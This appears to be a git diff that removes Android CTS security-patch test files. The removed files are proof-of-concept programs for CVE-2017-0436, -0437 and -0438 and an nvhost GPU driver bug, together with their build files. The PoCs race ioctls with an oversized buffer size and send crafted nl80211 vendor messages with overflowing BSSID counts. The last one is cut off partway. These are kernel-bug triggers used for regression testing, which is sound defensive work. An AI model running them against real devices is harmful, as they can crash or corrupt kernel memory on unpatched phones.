-#define SZ_128K				0x00020000
-#define NVHOST_AS_IOCTL_MAGIC 'A'
-struct nvhost_as_bind_channel_args {
-	__u32 channel_fd; /* in */
-} __packed;
-#define NVHOST_AS_IOCTL_BIND_CHANNEL \
-	_IOWR(NVHOST_AS_IOCTL_MAGIC, 1, struct nvhost_as_bind_channel_args)
-
-struct nvhost_as_free_space_args {
-	__u64 offset; /* in, byte address */
-	__u32 pages;     /* in, pages */
-	__u32 page_size; /* in, bytes */
-};
-#define NVHOST_AS_IOCTL_FREE_SPACE \
-	_IOWR(NVHOST_AS_IOCTL_MAGIC, 3, struct nvhost_as_free_space_args)
-
-#define NVHOST_AS_ALLOC_SPACE_FLAGS_SPARSE 0x2
-struct nvhost_as_alloc_space_args {
-	__u32 pages;     /* in, pages */
-	__u32 page_size; /* in, bytes */
-	__u32 flags;     /* in */
-	__u32 padding;     /* in */
-	union {
-		__u64 offset; /* inout, byte address valid iff _FIXED_OFFSET */
-		__u64 align;  /* in, alignment multiple (0:={1 or n/a}) */
-	} o_a;
-};
-#define NVHOST_AS_IOCTL_ALLOC_SPACE \
-	_IOWR(NVHOST_AS_IOCTL_MAGIC, 6, struct nvhost_as_alloc_space_args)
-
-#define CLOSE_THREAD_NUM	1
-#define TRY_TIMES		2
-#define NVMAPDEV	"/dev/nvmap"
-#define GPUDEV		"/dev/nvhost-gpu"
-#define ASDEV		"/dev/nvhost-as-gpu"
-pthread_t close_thread_id[CLOSE_THREAD_NUM] = { 0 };
-int nvmap, gpu, asgpu;
-volatile int attack;
-
-int main(void)
-{
-	int i, j, ret;
-	int dma1, dma2;
-	struct nvmap_create_handle args = { 
-		.size = PAGE_SIZE
-	};
-	struct nvhost_as_bind_channel_args as_bind = { 0 };
-	struct nvhost_as_alloc_space_args alloc = {
-		.pages = 1,
-		.page_size =  SZ_128K,
-		.flags = NVHOST_AS_ALLOC_SPACE_FLAGS_SPARSE
-	};
-	struct nvhost_as_free_space_args free_arg = {
-		.pages = 1,
-		.page_size = SZ_128K
-	};
-
-	/* bind_cpu */
-	set_affinity(0);
-
-	nvmap = open(NVMAPDEV, O_RDONLY);
-	if(nvmap == -1) {
-		ERR("[-] open %s failed", NVMAPDEV);
-		goto __cleanup;
-	}
-	gpu = open(GPUDEV, O_RDONLY);
-	if(gpu == -1) {
-		ERR("[-] open %s failed", GPUDEV);
-		goto __cleanup;
-	}
-	asgpu = open(ASDEV, O_RDONLY);
-	if(asgpu == -1) {
-		ERR("[-] open %s failed", ASDEV);
-		goto __cleanup;
-	}
-	// bind the channel
-	as_bind.channel_fd = gpu;
-	ret = ioctl(asgpu, NVHOST_AS_IOCTL_BIND_CHANNEL, &as_bind);
-	if(ret == -1) {
-		ERR("[-] NVHOST_AS_IOCTL_BIND_CHANNEL failed");
-		goto __cleanup;
-	} else {
-		//LOG("[+] ioctl OK, channel is bond");
-	}
-
-	#if 1
-	// prepare 
-	ret = ioctl(nvmap, NVMAP_IOC_CREATE, &args);
-	if(ret) {
-		ERR("[-] NVMAP_IOC_CREATE failed");
-		goto __cleanup;
-	}
-	#endif
-
-	ret = ioctl(asgpu, NVHOST_AS_IOCTL_ALLOC_SPACE, &alloc);
-	if(ret) {
-		ERR("[-] NVHOST_AS_IOCTL_ALLOC_SPACE failed");
-		goto __cleanup;
-	}
-	free_arg.offset = alloc.o_a.offset;
-	ret = ioctl(asgpu, NVHOST_AS_IOCTL_FREE_SPACE, &free_arg);
-	if(ret) {
-		ERR("[-] NVHOST_AS_IOCTL_FREE_SPACE failed");
-		goto __cleanup;
-	}
-
-__cleanup:
-	close(nvmap);
-	close(gpu);
-	close(asgpu);
-	return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0436/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0436/Android.mk
deleted file mode 100644
index 68bfd79..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0436/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License
-
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0436
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0436/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0436/poc.c
deleted file mode 100644
index 192a06e..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0436/poc.c
+++ /dev/null
@@ -1,282 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <errno.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <sched.h>
-#include <signal.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <unistd.h>
-
-#define THREAD_NUM 300
-#define DEV "/dev/usf1"
-
-/* min, max array dimension */
-#define MIN_MAX_DIM 2
-
-#define USF_MAX_PORT_NUM 8
-
-static const unsigned short PortSamplesDataSize = 768;
-
-/* Encoder (TX), decoder (RX) supported US data formats */
-#define USF_POINT_EPOS_FORMAT 0
-#define USF_RAW_FORMAT 1
-
-/* Indexes of event types, produced by the calculators */
-#define USF_TSC_EVENT_IND 0
-#define USF_TSC_PTR_EVENT_IND 1
-#define USF_MOUSE_EVENT_IND 2
-#define USF_KEYBOARD_EVENT_IND 3
-#define USF_TSC_EXT_EVENT_IND 4
-#define USF_MAX_EVENT_IND 5
-
-/* Types of events, produced by the calculators */
-#define USF_NO_EVENT 0
-#define USF_TSC_EVENT (1 << USF_TSC_EVENT_IND)
-#define USF_TSC_PTR_EVENT (1 << USF_TSC_PTR_EVENT_IND)
-#define USF_MOUSE_EVENT (1 << USF_MOUSE_EVENT_IND)
-#define USF_KEYBOARD_EVENT (1 << USF_KEYBOARD_EVENT_IND)
-#define USF_TSC_EXT_EVENT (1 << USF_TSC_EXT_EVENT_IND)
-#define USF_ALL_EVENTS                                                        \
-  (USF_TSC_EVENT | USF_TSC_PTR_EVENT | USF_MOUSE_EVENT | USF_KEYBOARD_EVENT | \
-   USF_TSC_EXT_EVENT)
-void *child_ioctl_0(void *no_use);
-void *child_ioctl_1(void *no_use);
-
-/* Info structure common for TX and RX */
-struct us_xx_info_type {
-  /* Input:  general info */
-  /* Name of the client - event calculator */
-  const char __user *client_name;
-  /* Selected device identification, accepted in the kernel's CAD */
-  uint32_t dev_id;
-  /* 0 - point_epos type; (e.g. 1 - gr_mmrd) */
-  uint32_t stream_format;
-  /* Required sample rate in Hz */
-  uint32_t sample_rate;
-  /* Size of a buffer (bytes) for US data transfer between the module and USF */
-  uint32_t buf_size;
-  /* Number of the buffers for the US data transfer */
-  uint16_t buf_num;
-  /* Number of the microphones (TX) or speakers(RX) */
-  uint16_t port_cnt;
-  /* Microphones(TX) or speakers(RX) indexes in their enumeration */
-  uint8_t port_id[USF_MAX_PORT_NUM];
-  /* Bits per sample 16 or 32 */
-  uint16_t bits_per_sample;
-  /* Input:  Transparent info for encoder in the LPASS */
-  /* Parameters data size in bytes */
-  uint16_t params_data_size;
-  /* Pointer to the parameters */
-  uint8_t __user *params_data;
-  /* Max size of buffer for get and set parameter */
-  uint32_t max_get_set_param_buf_size;
-};
-
-struct us_input_info_type {
-  /* Touch screen dimensions: min & max;for input module */
-  int tsc_x_dim[MIN_MAX_DIM];
-  int tsc_y_dim[MIN_MAX_DIM];
-  int tsc_z_dim[MIN_MAX_DIM];
-  /* Touch screen tilt dimensions: min & max;for input module */
-  int tsc_x_tilt[MIN_MAX_DIM];
-  int tsc_y_tilt[MIN_MAX_DIM];
-  /* Touch screen pressure limits: min & max; for input module */
-  int tsc_pressure[MIN_MAX_DIM];
-  /* The requested buttons bitmap */
-  uint16_t req_buttons_bitmap;
-  /* Bitmap of types of events (USF_X_EVENT), produced by calculator */
-  uint16_t event_types;
-  /* Bitmap of types of events from devs, conflicting with USF */
-  uint16_t conflicting_event_types;
-};
-
-struct us_tx_info_type {
-  /* Common info */
-  struct us_xx_info_type us_xx_info;
-  /* Info specific for TX*/
-  struct us_input_info_type input_info;
-};
-
-struct us_rx_info_type {
-  /* Common info */
-  struct us_xx_info_type us_xx_info;
-  /* Info specific for RX*/
-};
-
-struct us_stream_param_type {
-  /* Id of module */
-  uint32_t module_id;
-  /* Id of parameter */
-  uint32_t param_id;
-  /* Size of memory of the parameter buffer */
-  uint32_t buf_size;
-  /* Pointer to the memory of the parameter buffer */
-  uint8_t __user *pbuf;
-};
-
-#define USF_IOCTL_MAGIC 'U'
-
-#define US_SET_TX_INFO _IOW(USF_IOCTL_MAGIC, 0, struct us_tx_info_type)
-#define US_START_TX _IO(USF_IOCTL_MAGIC, 1)
-#define US_GET_TX_UPDATE \
-  _IOWR(USF_IOCTL_MAGIC, 2, struct us_tx_update_info_type)
-#define US_SET_RX_INFO _IOW(USF_IOCTL_MAGIC, 3, struct us_rx_info_type)
-#define US_SET_RX_UPDATE \
-  _IOWR(USF_IOCTL_MAGIC, 4, struct us_rx_update_info_type)
-#define US_START_RX _IO(USF_IOCTL_MAGIC, 5)
-
-#define US_STOP_TX _IO(USF_IOCTL_MAGIC, 6)
-#define US_STOP_RX _IO(USF_IOCTL_MAGIC, 7)
-
-#define US_SET_TX_STREAM_PARAM \
-  _IOW(USF_IOCTL_MAGIC, 10, struct us_stream_param_type)
-#define US_GET_TX_STREAM_PARAM \
-  _IOWR(USF_IOCTL_MAGIC, 11, struct us_stream_param_type)
-#define US_SET_RX_STREAM_PARAM \
-  _IOW(USF_IOCTL_MAGIC, 12, struct us_stream_param_type)
-#define US_GET_RX_STREAM_PARAM \
-  _IOWR(USF_IOCTL_MAGIC, 13, struct us_stream_param_type)
-
-int fd;
-pthread_t thread_id[THREAD_NUM + 1] = {0};
-int thread_ret[THREAD_NUM] = {0};
-
-// RX configuration
-static struct us_rx_info_type s_rx_info;
-static struct us_rx_info_type s_rx_info1;
-
-static void set_valid_rx_configuration(void);
-static void set_valid_rx_configuration_for_fail(void);
-
-static void set_valid_rx_configuration() {
-  typedef struct {
-    unsigned short frameSize;
-    unsigned short groupFactor;
-  } TransparentDataRxType;
-  static TransparentDataRxType transparentRxData;
-  unsigned short frame_size = 0;
-
-  transparentRxData.frameSize = PortSamplesDataSize;
-  transparentRxData.groupFactor = 1;
-
-  s_rx_info.us_xx_info.client_name = "tester";
-  s_rx_info.us_xx_info.dev_id = 0;
-  s_rx_info.us_xx_info.stream_format = USF_RAW_FORMAT;
-  s_rx_info.us_xx_info.sample_rate = 96000;
-  s_rx_info.us_xx_info.buf_num = 3;
-  s_rx_info.us_xx_info.port_cnt = 1;
-  s_rx_info.us_xx_info.port_id[0] = 1;
-  s_rx_info.us_xx_info.bits_per_sample = 16;
-  s_rx_info.us_xx_info.params_data_size = sizeof(TransparentDataRxType);
-  s_rx_info.us_xx_info.params_data = (unsigned char*)&transparentRxData;
-
-  frame_size = PortSamplesDataSize *
-               (s_rx_info.us_xx_info.bits_per_sample / 8) *
-               s_rx_info.us_xx_info.port_cnt;
-  // group size
-  s_rx_info.us_xx_info.buf_size = frame_size * transparentRxData.groupFactor;
-}  // set_valid_rx_configuration
-
-static void set_valid_rx_configuration_for_fail() {
-  typedef struct {
-    unsigned short frameSize;
-    unsigned short groupFactor;
-  } TransparentDataRxType;
-  static TransparentDataRxType transparentRxData;
-  unsigned short frame_size = 0;
-
-  transparentRxData.frameSize = PortSamplesDataSize;
-  transparentRxData.groupFactor = 1;
-
-  s_rx_info1.us_xx_info.client_name = "tester";
-  s_rx_info1.us_xx_info.dev_id = 0;
-  s_rx_info1.us_xx_info.stream_format = USF_RAW_FORMAT;
-  s_rx_info1.us_xx_info.sample_rate = 96000;
-  s_rx_info1.us_xx_info.buf_num = 3;
-  s_rx_info1.us_xx_info.port_cnt = 1;
-  s_rx_info1.us_xx_info.port_id[0] = 1;
-  s_rx_info1.us_xx_info.bits_per_sample = 16;
-  s_rx_info1.us_xx_info.params_data_size = sizeof(TransparentDataRxType);
-
-  frame_size = PortSamplesDataSize *
-               (s_rx_info1.us_xx_info.bits_per_sample / 8) *
-               s_rx_info1.us_xx_info.port_cnt;
-  // group size
-  s_rx_info1.us_xx_info.buf_size = frame_size * transparentRxData.groupFactor;
-  // for fail
-  s_rx_info1.us_xx_info.max_get_set_param_buf_size = (uint32_t) 100000000000000;
-}  // set_valid_rx_configuration
-
-
-static int set_affinity(int num) {
-  int ret = 0;
-  cpu_set_t mask;
-  CPU_ZERO(&mask);
-  CPU_SET(num, &mask);
-  ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
-  if (ret == -1) {
-    printf("[-] set affinity failed: [%d]-%s\n", errno, strerror(errno));
-  }
-  return ret;
-}
-
-void *child_ioctl_0(void *no_use) {
-  int ret = 1;
-  set_affinity(1);
-
-  while (1) {
-    ret = ioctl(fd, US_SET_RX_INFO, &s_rx_info1);
-  }
-}
-
-void* child_ioctl_1(void* no_use) {
-  int ret = 1;
-  set_affinity(2);
-
-  while (1) {
-    ret = ioctl(fd, US_SET_RX_INFO, &s_rx_info1);
-  }
-}
-
-int main() {
-  int i, ret;
-
-  /* bind_cpu */
-  set_affinity(0);
-
-  set_valid_rx_configuration();
-  set_valid_rx_configuration_for_fail();
-
-  /* open dev */
-  fd = open(DEV, O_RDONLY);
-  if (fd == -1) {
-    return 0;
-  }
-
-  /* create thread */
-  for (i = 0; i < THREAD_NUM; i = i + 2) {
-    thread_ret[i] = pthread_create(thread_id + i, NULL, child_ioctl_0, NULL);
-    thread_ret[i + 1] =
-        pthread_create(thread_id + i + 1, NULL, child_ioctl_1, NULL);
-  }
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0437/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0437/Android.mk
deleted file mode 100644
index 12197cd..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0437/Android.mk
+++ /dev/null
@@ -1,43 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License
-
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0437
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_C_INCLUDES:= \
-	$(TOP)/external/libnl/include/ \
-	$(TOP)/external/libnl/lib/ \
-
-LOCAL_SHARED_LIBRARIES:= libnl
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0437/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0437/poc.c
deleted file mode 100644
index aa82a63..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0437/poc.c
+++ /dev/null
@@ -1,168 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <sys/wait.h>
-#include <dlfcn.h>
-#include <errno.h>
-#include <limits.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <jni.h>
-#include <android/log.h>
-#include <sys/socket.h>
-#include <linux/netlink.h>
-#include <linux/genetlink.h>
-#include <string.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <dirent.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/ioctl.h>
-#include <net/if.h>
-#include <sys/types.h>          /* See NOTES */
-#include <netlink/msg.h>
-#include <netlink/genl/genl.h>
-#include <netlink/genl/ctrl.h>
-#include <linux/nl80211.h>
-
-#define MAX_MSG_SIZE 4096
-#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
-#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
-
-#define NL80211_ATTR_MAC 6
-#define ETH_ALEN 6
-#define NL80211_ATTR_IFINDEX 3
-#define QCA_NL80211_VENDOR_ID 0x001374
-
-#define QCA_NL80211_VENDOR_SUBCMD_ROAM 64
-#define QCA_WLAN_VENDOR_ATTR_ROAMING_SUBCMD 1
-#define QCA_WLAN_VENDOR_ATTR_ROAM_SUBCMD_SET_BSSID_PREFS 4
-#define QCA_WLAN_VENDOR_ATTR_ROAMING_REQ_ID 2
-#define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PREFS 14
-#define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_NUM_BSSID 15
-#define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_BSSID 16
-#define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_RSSI_MODIFIER 17
-int test(void);
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
-                  u_int8_t genl_version);
-
-typedef char tSirMacAddr[6];
-struct nl_sock *nl_sk;
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
-                  u_int8_t genl_version) {
-  struct nl_msg *msg;
-  int ret = -1;
-  unsigned char dst[ETH_ALEN];
-  struct nlattr *rret;
-  struct nlattr *rret2;
-  struct nlattr *rret3;
-  unsigned char oper_classes[253];
-  int i = 0;
-  tSirMacAddr mac_in;
-  unsigned char hb_params[512];
-
-  struct nl80211_sta_flag_update flags;
-  msg = nlmsg_alloc();
-  int if_index = if_nametoindex("wlan0");
-
-  genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
-  nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
-  nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, QCA_NL80211_VENDOR_ID);
-  nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, QCA_NL80211_VENDOR_SUBCMD_ROAM);
-
-  rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
-
-  if (!rret) {
-    return 1;
-  }
-  nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_SUBCMD,
-              QCA_WLAN_VENDOR_ATTR_ROAM_SUBCMD_SET_BSSID_PREFS);
-
-  nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_REQ_ID, 123);
-  nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_NUM_BSSID,
-              0xffffffff);
-
-  rret2 =
-      nla_nest_start(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PREFS);
-  if (!rret2) {
-    perror("nla_nest_start2");
-    return 1;
-  }
-
-  for (i = 0; i < 64; ++i) {
-    rret3 =
-        nla_nest_start(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PREFS);
-    if (!rret3) {
-      perror("nla_nest_start3");
-      return 1;
-    }
-
-    nla_put(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_BSSID,
-            sizeof(mac_in), &mac_in);
-    nla_put_u32(msg,
-                QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_RSSI_MODIFIER,
-                0xdeadbeed);
-    nla_nest_end(msg, rret3);
-  }
-
-  nla_nest_end(msg, rret2);
-  nla_nest_end(msg, rret);
-  ret = nl_send_auto_complete(nl_sk, msg);
-
-  return 0;
-}
-
-#define AID_INET 3003    /* can create AF_INET and AF_INET6 sockets */
-#define AID_NET_RAW 3004 /* can create raw INET sockets */
-#define AID_NET_ADMIN 3005
-
-int test() {
-  int fd = 0;
-  int i = 0;
-  int j = 0;
-  int ret = 0;
-  char *mem;
-  int family_id = 0;
-  struct audio_cal_basic *acb;
-  struct sockaddr_nl saddr;
-  int test = 0x1234;
-  if (getuid() != 0) {
-    return -1;
-  }
-
-  gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
-  setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
-
-  setuid(2000);
-
-  nl_sk = nl_socket_alloc();
-  ret = genl_connect(nl_sk);
-  if (ret != 0) {
-    return -1;
-  }
-
-  family_id = genl_ctrl_resolve(nl_sk, "nl80211");
-
-#define NL80211_CMD_GET_WIPHY 1
-#define NL80211_CMD_SET_STATION 18
-
-  ret = send_testmode(family_id, getpid(), NL80211_CMD_VENDOR, 1);
-  return 0;
-}
-
-int main(int argc, char *argv[]) { return test(); }
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0438/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0438/Android.mk
deleted file mode 100644
index 37bca2e..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0438/Android.mk
+++ /dev/null
@@ -1,43 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License
-
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0438
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_C_INCLUDES:= \
-	$(TOP)/external/libnl/include/ \
-	$(TOP)/external/libnl/lib/ \
-
-LOCAL_SHARED_LIBRARIES:= libnl
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0438/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0438/poc.c
deleted file mode 100644
index 3b1b7d1..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0438/poc.c
+++ /dev/null
@@ -1,167 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <dlfcn.h>
-#include <limits.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <jni.h>
-#include <android/log.h>
-#include <sys/socket.h>
-#include <linux/netlink.h>
-#include <linux/genetlink.h>
-#include <string.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <dirent.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/ioctl.h>
-#include <net/if.h>
-#include <sys/types.h>          /* See NOTES */
-#include <netlink/msg.h>
-#include <netlink/genl/genl.h>
-#include <netlink/genl/ctrl.h>
-#include <linux/nl80211.h>
-
-#define MAX_MSG_SIZE 4096
-#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
-#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
-
-#define NL80211_ATTR_MAC 6
-#define ETH_ALEN 6
-#define NL80211_ATTR_IFINDEX 3
-#define QCA_NL80211_VENDOR_ID 0x001374
-
-#define QCA_NL80211_VENDOR_SUBCMD_ROAM 64
-#define QCA_WLAN_VENDOR_ATTR_ROAMING_SUBCMD 1
-#define QCA_WLAN_VENDOR_ATTR_ROAM_SUBCMD_SET_BSSID_PREFS 4
-#define QCA_WLAN_VENDOR_ATTR_ROAMING_REQ_ID 2
-#define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PREFS 14
-#define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_NUM_BSSID 15
-#define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_BSSID 16
-#define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_RSSI_MODIFIER 17
-#define QCA_WLAN_VENDOR_ATTR_ROAM_SUBCMD_SET_BLACKLIST_BSSID 6
-#define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PARAMS 18
-#define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PARAMS_NUM_BSSID 19
-#define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PARAMS_BSSID 20
-typedef char tSirMacAddr[6];
-struct nl_sock *nl_sk;
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
-                  u_int8_t genl_version);
-int test(void);
-
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
-                  u_int8_t genl_version) {
-  struct nl_msg *msg;
-  int ret = -1;
-  unsigned char dst[ETH_ALEN];
-  struct nlattr *rret;
-  struct nlattr *rret2;
-  struct nlattr *rret3;
-  unsigned char oper_classes[253];
-  int i = 0;
-  tSirMacAddr mac_in;
-  unsigned char hb_params[512];
-
-  struct nl80211_sta_flag_update flags;
-  msg = nlmsg_alloc();
